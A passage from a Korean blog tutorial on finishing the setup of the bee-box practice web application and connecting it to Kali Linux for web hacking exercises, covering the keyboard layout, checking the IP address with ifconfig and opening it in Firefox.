여기서 Layout으로 들어가 대한민국으로 설정해주고 추가버튼을 누르면 셋팅이 된다. 그런데 beebox는 이걸 재부팅 할 때마다 매번 설정해줘야 되서 좀 불편한점이 있다. 가장 개선해야할 사항중에 하나라고 생각한다.


5. 비박스에서 다음과 같이 ifconfig를 쳐주고 자신의 ip주소를 확인한다. 이건 각자 다 다르기 때문에 잘 확인해 주어야 한다.



6. 칼리리눅스를 실행시켜 firefox를 실행시켜 beebox의 자신의 ip주소를 입력시키면 다음과 같이 화면이 나오면 정상적으로 잘 설치된 것이다.



이렇게 칼리리눅스하고 잘 연동되어야 웹실습이 가능해진다. 여기까지 안되면 웹해킹에 대해 실습이 불가능해지기 때문에 반드시 여기까지 완벽하게 설치가 되어야 한다. 필자는 맥환경에서 했지만 윈도우환경도 별차이는 없으니 잘 보고 설치하면 된다.

반응형
LIST

'웹해킹 > Bee-box' 카테고리의 다른 글

SQL 인젝션 기초  (0) 2017.12.26
iframe, ssl 인젝션  (0) 2017.12.25
PHP Command 인젝션 공격  (0) 2017.12.25
HTML 인젝션(2)-Stored  (0) 2017.12.25
HTML 인젝션(1)-Reflected  (8) 2017.12.25
블로그 이미지

만년필석사

,